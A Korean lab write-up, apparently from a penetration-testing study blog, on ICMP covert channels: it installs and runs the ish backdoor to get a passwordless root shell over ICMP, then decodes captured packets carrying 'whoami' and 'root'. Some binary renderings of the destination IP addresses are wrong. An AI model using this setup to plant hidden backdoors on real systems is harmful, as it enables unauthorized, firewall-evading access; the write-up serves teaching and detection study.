1 은닉 채널 이란?
ACK 패킷이나 ICMP 패킷의 옵션이나 메시지 영역에 의미 있는 데이터를 넣어서 통신하는 방법으로 세션을 맺지 않기 때문에 로그기록이 남지 않고 방화벽을 우회할 수 있습니다. 지금은 ish(백도어) 프로그램을 이용해 은닉 통신을 해봅니다.
2 실습 환경
ish 서버 - IP : 192.168.10.191, MAC : 00:0c:29:5c:88:09
ish 클라이언트 - IP : 192.168.10.150, MAC : 00:0c:29:9b:94:96
3 실습 준비
3.1 ish 서버 - ish 설치 및 데몬 실행
(1) 첨부파일의 ish 파일을 받아 압축을 풀고 컴파일합니다.
# mv ish-v0.2.tar.gz /usr/local # cd /usr/local # tar xvzf ish-v0.2.tar.gz # cd ISHELL-v0.2 # make linux |
- ish 설치
(2) 설치 후 ISHELL-v0.2 디렉토리 안의 ishd 파일이 데몬 파일, ish 파일이 클라이언트용 파일입니다.
- ishd 데몬 파일과 ish 파일
(2) ish 데몬 실행
# ./ishd |
- ishd 데몬 실행
3.2 ish 클라이언트 - ish 설치
설치 방법은 ish 서버와 같습니다.
4 실습
(1) tcpdump를 실행하여 패킷을 캡처합니다.
# tcpdump -xX -i eth0 -w (file_name) host (캡처할 IP) |
- tcpdump를 이용한 패킷 캡쳐
(2) ish 클라이언트에서 서버로 접속합니다. 암호를 묻지 않고 바로 root 계정으로 접속합니다.
# ./ish (ish 서버 IP) |
- root 계정으로 접속
5 분석 결과
5.1 ish 클라이언트 -> ish 서버
패킷 캡처
00 0C 29 5C 88 09 00 0C 29 9B 94 96 08 00 45 00 00 3F 00 00 40 00 40 01 A4 18 C0 A8 0A 96 C0 A8 0A BF 00 00 B4 C6 EB 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 77 68 6F 61 6D 69 0A |
Etherent header
Destination MAC address |
00:0c:29:5c:88:09 |
Source MAC address |
00:0c:29:9b:94:96 |
Type |
08 00 (IP) |
IP header 분석
Version |
Header len | TOS |
Total length |
0100 (IPv4) |
0101 (5words) | 00000000(사용안함) |
00000000 00111111 (63bytes) |
Identification |
Flag |
Fragment offset |
|
00000000 00000000 |
010(분할되지 않음) |
00000 00000000 |
|
TTL |
Protocol type |
header checksum |
|
01000000 (64) |
00000001 (1 : ICMP) |
10100100 00011000 |
|
Source IP address |
|||
11000000 10101000 00001010 10010110 (192.168.10.150) |
|||
Destination IP address |
|||
10101000 01111110 00111111 10111111 (192.168.10.191) |
ICMP 분석
Type |
Code |
Checksum |
00000000(Echo reply) |
00000000 (0) |
10110100 11000110 |
Identifier |
Sequence number |
|
11101011 00000101 |
00000000 00000000 |
|
Message |
||
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 77 68 6F 61 6D 69 0A (NUL.........whoami LF) |
분석 결과
ish 클라이언트(192.168.10.150)에서 ish 서버(192.168.10.191)로 보내는 ICMP 패킷이지만 메시지에 whoami 라는 명령어가 입력된 것을 확인할 수 있습니다.
5.2 ish 서버 -> ish 클라이언트
패킷 캡처
00 0C 29 9B 94 96 00 0C 29 5C 88 09 08 00 45 00 00 3D 00 00 40 00 40 01 A4 1A C0 A8 0A BF C0 A8 0A 96 00 00 1C 16 EB 05 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 6F 6F 74 0A |
Etherent header
Destination MAC address |
00:0c:29:9b:94:96 |
Source MAC address |
00:0c:29:5c:88:09 |
Type |
08 00 (IP) |
IP header 분석
Version |
Header len | TOS |
Total length |
0100 (IPv4) |
0101 (5words) | 00000000(사용안함) |
00000000 00111101 (61bytes) |
Identification |
Flag |
Fragment offset |
|
00000000 00000000 |
010(분할되지 않음) |
00000 00000000 |
|
TTL |
Protocol type |
header checksum |
|
01000000 (64) |
00000001 (1 : ICMP) |
10100100 00011010 |
|
Source IP address |
|||
11000000 10101000 00001010 10111111 (192.168.10.191) |
|||
Destination IP address |
|||
10101000 01111110 00111111 10010110 (192.168.10.150) |
ICMP 분석
Type |
Code |
Checksum |
00000000(Echo reply) |
00000000 (0) |
00011100 00010110 |
Identifier |
Sequence number |
|
11101011 00000101 |
00001101 00000000 |
|
Message |
||
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 6F 6F 74 0A (NUL.....root LF) |
분석 결과
첫 번째 ICMP 패킷과 식별자가 같은 ICMP 패킷으로 이번에는 ish 서버(192.168.10.191)에서 ish 클라이언트(192.168.10.150)에게 전송하며 whoami 라는 명령어에 대한 답으로 root를 메시지에 넣어 전송하고 있습니다.
'CERTIFICATE' 카테고리의 다른 글
[모의해킹] EP.09 : DDos 공격 (0) | 2019.10.15 |
---|---|
[모의해킹] EP.08 : MITM 공격(웹 변조) (0) | 2019.10.14 |
[모의해킹] EP.06 : 터널링(Tunneling) (0) | 2019.10.01 |
[모의해킹] EP.05 : DNS Spoofing (0) | 2019.09.24 |
[모의해킹] EP.04 ICMP Redirect (0) | 2019.09.23 |